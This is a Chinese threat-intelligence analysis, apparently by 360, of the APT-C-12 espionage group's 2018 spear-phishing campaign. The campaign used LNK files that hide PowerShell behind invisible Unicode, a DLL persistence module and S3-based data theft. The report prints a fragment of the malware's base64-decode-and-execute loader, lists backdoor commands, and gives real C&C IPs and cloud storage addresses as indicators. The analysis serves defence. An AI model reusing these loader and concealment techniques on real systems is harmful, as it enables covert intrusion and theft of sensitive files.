背景
360公司在2018年7月5日首次对外公开了一个从2011年开始持续近8年针对我国政府、军工、科研、金融等重点单位和部门进行网络间谍活动的高级攻击组织-蓝宝菇(APT-C-12),该组织的活动在近几个月内呈现非常活跃的状态。本文作为前期组织揭露报告的补充,详述蓝宝菇组织在近期攻击活动的技术细节,希望安全业界了解其攻击手法共同完善拼图,输出防御方案联合起来对抗这个国家级的威胁。
钓鱼攻击
2018年4月以来,360安全监测与响应中心和360威胁情报中心在企业机构的协同下发现了一批针对性的鱼叉攻击,攻击者通过诱导攻击对象打开鱼叉邮件云附件中的LNK文件来执行恶意PowerShell脚本收集上传用户电脑中的敏感文件,并安装持久化后门程序长期监控用户计算机。该攻击过程涉及一些新颖的LNK利用方式,使用了AWS S3协议和云服务器通信来偷取用户的敏感资料,在此我们分析并公开整个攻击过程。
360威胁情报中心确认多个政企机构的外部通信邮箱被投递了一份发自boaostaff[@]163.com的鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发送了一封邀请函:
邮件附件被放到163的云附件里,此附件即为攻击者的恶意Payload,这是一个通过RAR打包的快捷方式样本。接下来我们对同一波攻击中的另一个完全相同功能的样本进行详细分析,以梳理整个攻击过程。
附件内容如下:
样本分析
Dropper
附件压缩包内包含一个LNK文件,名字为:《政法网络舆情》会员申请.lnk,查看LNK文件对应的目标如下:
可以看到目标中并没有任何可见字符,使用二进制分析工具查看LNK文件可以看到PowerShell相关的字符串,以及很多Unicode不可见字符:
通过分析LNK文件格式中几个比较重要的结构,完整还原出样本真实执行的恶意目标,其中涉及3个LNK文件格式的重要结构:LinkTargetIDList、COMMAND_LINE_ARGUMENTS和EnvironmentVarableDataBlock。
- LinkTargetIDList,该结构是一个数组,用于标记具体的快捷方式的链接目标,而样本中多个LIST里的元素拼接起来才是快捷方式的具体链接目标:
|
CLSID_MyComputer\C:\Windows\system32\windOW~1\V1.0\POwersHELl.exe |
通过调试可以看到目标路径和LinkTargetIDList拼接出来的结果一致:
- COMMAND_LINE_ARGUMENTS,该选项为目标程序的参数
样本中的目标程序参数则为具体需要执行的PowerShell恶意代码,另外由于在参数中包含了大量的不可显示Unicode字符,从而导致右键打开快捷方式时目标中并不会包含对应的PowerShell代码:
- EnvironmentVarableDataBlock,当链接目标程序涉及到环境变量时会使用
该值设置后会导致具体的快捷方式中的目标被设置为对应的EnvironmentVarableDataBlock值,但是需要注意的是,样本中EnvironmentVarableDataBlock对实际的程序调用并不起作用(删除并不影响最终的样本启动),最终Shell32.dll靠解析LInkTargetIDList数组来启动PowerShell。
Payload(PowerShell脚本)
解密PowerShell脚本
将LNK文件指向执行的PowerShell脚本解密,该PowerShell命名为ps_origin,代码如下:
| -join$a=$host.ui.rawui.windowtitle; //获取当前窗口的标题名
If(!$a.endswith(‘.lnk’)) //找到lnk文件 {$a+=’.lnk’} $a=gi $a; //Get-Item q64 (gc $a|select -l 1); //定位到最后一行,base64解密并执行 Function q64 { param($6); iex ([text.encoding]::utf8.getstring([convert]::frombase64string($6)))} q64 $oC:\Windows\System32\shell32.dll |
PowerShell脚本会定位执行LNK文件的最后一行,文件的最后一行如下:
文件最后一行经过Base64编码,解码后的数据为[压缩包+PowerShell脚本]的形式:
将最后的PowerShell脚本解密后如下(名称为ps_start):

被解密后的LNK文件最后一行中的PowerShell脚本中的ps_start会被首先执行,该PowerShell脚本主要用于解压出后续的压缩包,并继续运行其中的脚本,同时压缩包包含了相应的文件窃取模块,如下图所示脚本通过[convert]::frombase64string((gc $a|select -l 2|select -f 1)));以Base64解密出对应的压缩包文件,之后使用Rundll32加载其中beoql.g后门文件(加载函数为DllRegister),同时将一段PowerShell脚本作为参数传入,该PowerShell命名为ps_loader:


159.65.127.93
139.59.238.1
138.197.142.236
| 命令 | 描述 |
| Ipconfig /all | IP地址信息 |
| Netstat -a | 相关网络连接信息 |
| Arp -a | ARP table信息 |
| Desktop files | 桌面文件 |
| programfiles | Programfiles文件 |
| Programfiles x86 | Programfiles文件 |
脚本获取基本信息后,再通过Rar.exe压缩为start.rar文件,之后使用RSA算法加密一个随机字符串e,秘钥如下:
| <RSAKeyValue><Modulus>3w2Aa8octWRTs8/FhG9TxNHVOK+7L4RpX1iHY5mCkqbWwIomgpsEGvFqN3C9P1G/Yu+FV29BSlWHI6cUd7d8OK6AJD6vdF6uvoITVEsvPCkhwypZ+gbjkDirLGHI6wtTD4FF0X+EH7S6xBGqSHbOg+abDS3KlkMkwIzx5vhlbCUkckJFj31zmapLGIn4nTWybfP4nAhMuGGGvamXyQ+y4rrqTUPm1vU0GQh1zT2J9Ce204WubUlyhMMIhvAeOQ0TMKEVoCdU9yrRfj1rc36HYCO/RysGpKfx+mGcIWvPBXywXFuxEiGSqkk4jCf7Gh3eehfa98gmYuYChRP6CtoL8Q==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue> |
该随机字符串为之后上传文件的RAR加密密码,脚本会将该加密后的字符保存成id.rar文件,并通过函数pv9上传start.rar及id.rar文件到攻击者的云服务器中:






ps_start中加载执行DLL后门后会从内置的三个IP地址中选择一个作为C&C,再次下载一段PowerShell,此处称之为ps_loader:



ps_backdoor脚本为一段PowerShell后门,其主功能函数ROAGC的各参数对应的含义为:
参数1:周期,此处为10
参数2:id,此处为zhengyi5
参数3:IP/Port二元组
参数4:对应加密KEY
参数5:对应的MAC地址
| 命令 | 描述 |
| rs | 执行CMD命令 |
| up | 上传文件 |
| dw | 下载文件 |

| 命令 | 描述 |
| ls/dir | 目录操作 |
| mv/move/copy/cp/rm/del/rmdir | 文件操作 |
| cd | |
| Ipconfig/ifconfig | 网络相关 |
| ps/tasklist | 进程信息获取 |
| whoami/getuid | 用户信息获取 |
| rteboot/restart | 开关机 |

持久化
ps_start脚本会使用Rundll32.exe加载执行样本中解压出来的beoql.g后门文件,该DLL为一个实现恶意代码持久化加载的模块,用于加载ps_loader,并通过修改LNK文件来实现持久化,其导出的函数如下所示:
| 函数 | 功能 |
| DllEntry | 用于启动PowerShell |
| DllRegister | 初始函数,用于保存传入的PowerShell,调用DllEntry启动PowerShell,调用DllInstall生成并启动用于修改系统LNK文件的BAT脚本 |
| DllInstall | 生成并启动用于修改系统LNK文件的BAT脚本 |
| DllCanUnload | |
| DllSetClassObject | 被BAT脚本调用用于修改LNK文件 |
| DllUnsetClassObject | 还原LNK文件 |
| DllCopyClassObject | 被BAT脚本调用用于拷贝LNK文件到临时目录下 |
| DllEntryPoint | Dll入口 |
另外,ps_start中会直接调用该DLL的导出函数DllRegister,参数为对应的ps_loader脚本,函数首先会将ps_loader加密保存为beoql.g.ini,之后调用DllEntry和fun_Callinstall:







首先通过调用导出函数DllCopyClassObject将该LNK文件拷贝到临时目录,再通过函数DllSetClassObject修改%temp%目录下的LNK文件,最后将修改过的LNK文件拷贝覆盖回去:


攻击流程
整体攻击流程如下所示:
影响面评估
攻击时间
根据360网络安全研究院的全网数据抽样统计,对攻击者使用的两个云服务域名地址(子域名分别为0123和05011)的访问分别集中在4月和5月,这和我们捕获到的样本时间段完全一致,也就是说蓝宝菇APT组织在这两个月内使用本文描述的攻击方式进行了大量针对性的攻击:
攻击对象
由于恶意样本会将窃取的用户数据通过Amazon S3云存储协议上传到攻击者的云服务器中,360威胁情报中心通过对AWS S3服务通信机制的深入解析,结合样本分析得到的数据模拟通信成功获取部分攻击者攻击过程中产生的中间数据,其中包括攻击对象的计算机名、被攻击时间等信息。数据显示仅一天时间内就有数个受害人员的信息被上传到服务器,整波攻击活动期间评估受控人员数量在百级。
总结
威胁情报在攻防对抗中发挥着越来越重要的作用,威胁情报不是简单的从blog、twitter等公开渠道获得开源情报。从本次事件中可以看出,只有具备扎实的安全能力、建立强大的数据基础并对威胁情报涉及的采集、处理、分析、发布、反馈等一系列的环节进行较长时期的投入建设,才能获得基于威胁情报的检测、分析、响应、预警等关键的安全能力。
目前,基于360威胁情报中心的威胁情报数据的全线产品,包括360威胁情报平台(TIP)、天眼高级威胁检测系统、360 NGSOC等,都已经支持对此APT攻击团伙攻击活动的实时检测和相关未知攻击的预警。
IOC
| C&C IP |
| 159.65.127.93 |
| 139.59.238.1 |
| 138.197.142.236 |
| 攻击者云服务地址 |
| 0123.nyc3.digitaloceanspaces.com |
| 05011.nyc3.digitaloceanspaces.com |
参考
[1].https://github.com/minio/minio-py
[2].https://docs.minio.io/docs/python-client-quickstart-guide
[3].https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/dev/Introduction.html
[4].https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/API/sig-v4-authenticating-requests.html
[5].https://developers.digitalocean.com/documentation/spaces/#authentication
[6].http://developer.huawei.com/ict/cn/doc/Object_Storage_Service_API_zh_p/zh-cn_topic_0016616545.html











持久化
攻击流程
